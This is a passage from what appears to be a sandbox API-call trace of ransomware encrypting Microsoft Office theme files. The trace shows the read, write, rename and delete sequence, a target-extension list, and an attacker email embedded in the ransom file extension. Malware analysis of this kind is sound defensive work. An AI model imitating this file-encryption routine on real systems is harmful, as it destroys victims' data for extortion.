(normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0059.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.753] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.753] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.754] GetLastError () returned 0x0 [0059.754] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0059.757] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0059.759] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.760] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.760] SetEndOfFile (hFile=0x170) returned 1 [0059.763] CloseHandle (hObject=0x170) returned 1 [0059.763] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.763] SetEndOfFile (hFile=0x180) returned 1 [0059.764] CloseHandle (hObject=0x180) returned 1 [0059.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.765] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0059.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.765] lstrlenW (lpString=".doc") returned 4 [0059.765] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.765] lstrlenW (lpString=".docx") returned 5 [0059.765] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.765] lstrlenW (lpString=".pdf") returned 4 [0059.765] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.765] lstrlenW (lpString=".xls") returned 4 [0059.765] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.766] lstrlenW (lpString=".xlsx") returned 5 [0059.766] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.766] lstrlenW (lpString=".ppt") returned 4 [0059.766] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.766] lstrlenW (lpString=".zip") returned 4 [0059.766] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.766] lstrlenW (lpString=".rar") returned 4 [0059.766] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.766] lstrlenW (lpString=".bz2") returned 4 [0059.766] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.766] lstrlenW (lpString=".7z") returned 3 [0059.766] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.766] lstrlenW (lpString=".dbf") returned 4 [0059.766] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.766] lstrlenW (lpString=".1cd") returned 4 [0059.766] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.766] lstrlenW (lpString=".jpg") returned 4 [0059.766] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.766] lstrlenW (lpString=".doc") returned 4 [0059.766] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.767] lstrlenW (lpString=".docx") returned 5 [0059.767] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.767] lstrlenW (lpString=".pdf") returned 4 [0059.767] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.767] lstrlenW (lpString=".xls") returned 4 [0059.767] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.767] lstrlenW (lpString=".xlsx") returned 5 [0059.767] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.767] lstrlenW (lpString=".ppt") returned 4 [0059.767] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.767] lstrlenW (lpString=".zip") returned 4 [0059.767] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.767] lstrlenW (lpString=".rar") returned 4 [0059.767] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.767] lstrlenW (lpString=".bz2") returned 4 [0059.767] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.767] lstrlenW (lpString=".7z") returned 3 [0059.767] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.767] lstrlenW (lpString=".dbf") returned 4 [0059.767] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.767] lstrlenW (lpString=".1cd") returned 4 [0059.767] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0059.767] lstrlenW (lpString=".jpg") returned 4 [0059.768] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.768] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.768] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.768] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1364) returned 1 [0059.768] CloseHandle (hObject=0x180) returned 1 [0059.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0059.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.769] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.769] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.061] GetLastError () returned 0x0 [0060.061] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x554, lpOverlapped=0x0) returned 1 [0060.063] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x560, lpOverlapped=0x0) returned 1 [0060.064] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.064] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.064] SetEndOfFile (hFile=0x204) returned 1 [0060.065] CloseHandle (hObject=0x204) returned 1 [0060.065] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.065] SetEndOfFile (hFile=0x180) returned 1 [0060.066] CloseHandle (hObject=0x180) returned 1 [0060.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.066] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0060.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.067] lstrlenW (lpString=".doc") returned 4 [0060.067] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.067] lstrlenW (lpString=".docx") returned 5 [0060.067] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.067] lstrlenW (lpString=".pdf") returned 4 [0060.067] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.067] lstrlenW (lpString=".xls") returned 4 [0060.067] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.067] lstrlenW (lpString=".xlsx") returned 5 [0060.067] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.067] lstrlenW (lpString=".ppt") returned 4 [0060.067] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.067] lstrlenW (lpString=".zip") returned 4 [0060.067] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.067] lstrlenW (lpString=".rar") returned 4 [0060.067] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.067] lstrlenW (lpString=".bz2") returned 4 [0060.067] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.067] lstrlenW (lpString=".7z") returned 3 [0060.068] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.068] lstrlenW (lpString=".dbf") returned 4 [0060.068] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.068] lstrlenW (lpString=".1cd") returned 4 [0060.068] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.068] lstrlenW (lpString=".jpg") returned 4 [0060.068] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.068] lstrlenW (lpString=".doc") returned 4 [0060.068] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.068] lstrlenW (lpString=".docx") returned 5 [0060.068] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.068] lstrlenW (lpString=".pdf") returned 4 [0060.068] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.068] lstrlenW (lpString=".xls") returned 4 [0060.068] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.068] lstrlenW (lpString=".xlsx") returned 5 [0060.068] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.068] lstrlenW (lpString=".ppt") returned 4 [0060.068] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.069] lstrlenW (lpString=".zip") returned 4 [0060.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.069] lstrlenW (lpString=".rar") returned 4 [0060.069] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.069] lstrlenW (lpString=".bz2") returned 4 [0060.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.069] lstrlenW (lpString=".7z") returned 3 [0060.069] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.069] lstrlenW (lpString=".dbf") returned 4 [0060.069] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.069] lstrlenW (lpString=".1cd") returned 4 [0060.069] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0060.069] lstrlenW (lpString=".jpg") returned 4 [0060.069] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.069] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.069] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.070] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1339) returned 1 [0060.070] CloseHandle (hObject=0x180) returned 1 [0060.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0060.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.071] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.071] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.073] GetLastError () returned 0x0 [0060.073] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x53b, lpOverlapped=0x0) returned 1 [0060.075] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x540, lpOverlapped=0x0) returned 1 [0060.076] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.076] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.076] SetEndOfFile (hFile=0x204) returned 1 [0060.077] CloseHandle (hObject=0x204) returned 1 [0060.077] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.077] SetEndOfFile (hFile=0x180) returned 1 [0060.078] CloseHandle (hObject=0x180) returned 1 [0060.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.078] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0060.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.079] lstrlenW (lpString=".doc") returned 4 [0060.079] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.079] lstrlenW (lpString=".docx") returned 5 [0060.079] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.079] lstrlenW (lpString=".pdf") returned 4 [0060.079] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.079] lstrlenW (lpString=".xls") returned 4 [0060.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.079] lstrlenW (lpString=".xlsx") returned 5 [0060.079] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.079] lstrlenW (lpString=".ppt") returned 4 [0060.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.079] lstrlenW (lpString=".zip") returned 4 [0060.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.079] lstrlenW (lpString=".rar") returned 4 [0060.079] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.079] lstrlenW (lpString=".bz2") returned 4 [0060.079] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.079] lstrlenW (lpString=".7z") returned 3 [0060.079] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.080] lstrlenW (lpString=".dbf") returned 4 [0060.080] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.080] lstrlenW (lpString=".1cd") returned 4 [0060.080] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.080] lstrlenW (lpString=".jpg") returned 4 [0060.080] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.080] lstrlenW (lpString=".doc") returned 4 [0060.080] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.080] lstrlenW (lpString=".docx") returned 5 [0060.080] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.080] lstrlenW (lpString=".pdf") returned 4 [0060.080] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.080] lstrlenW (lpString=".xls") returned 4 [0060.080] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.080] lstrlenW (lpString=".xlsx") returned 5 [0060.080] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.080] lstrlenW (lpString=".ppt") returned 4 [0060.080] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.080] lstrlenW (lpString=".zip") returned 4 [0060.081] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.081] lstrlenW (lpString=".rar") returned 4 [0060.081] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.081] lstrlenW (lpString=".bz2") returned 4 [0060.081] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.081] lstrlenW (lpString=".7z") returned 3 [0060.081] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.081] lstrlenW (lpString=".dbf") returned 4 [0060.081] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.081] lstrlenW (lpString=".1cd") returned 4 [0060.081] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0060.081] lstrlenW (lpString=".jpg") returned 4 [0060.081] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.081] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.081] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.083] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=16738) returned 1 [0060.083] CloseHandle (hObject=0x180) returned 1 [0060.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0060.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 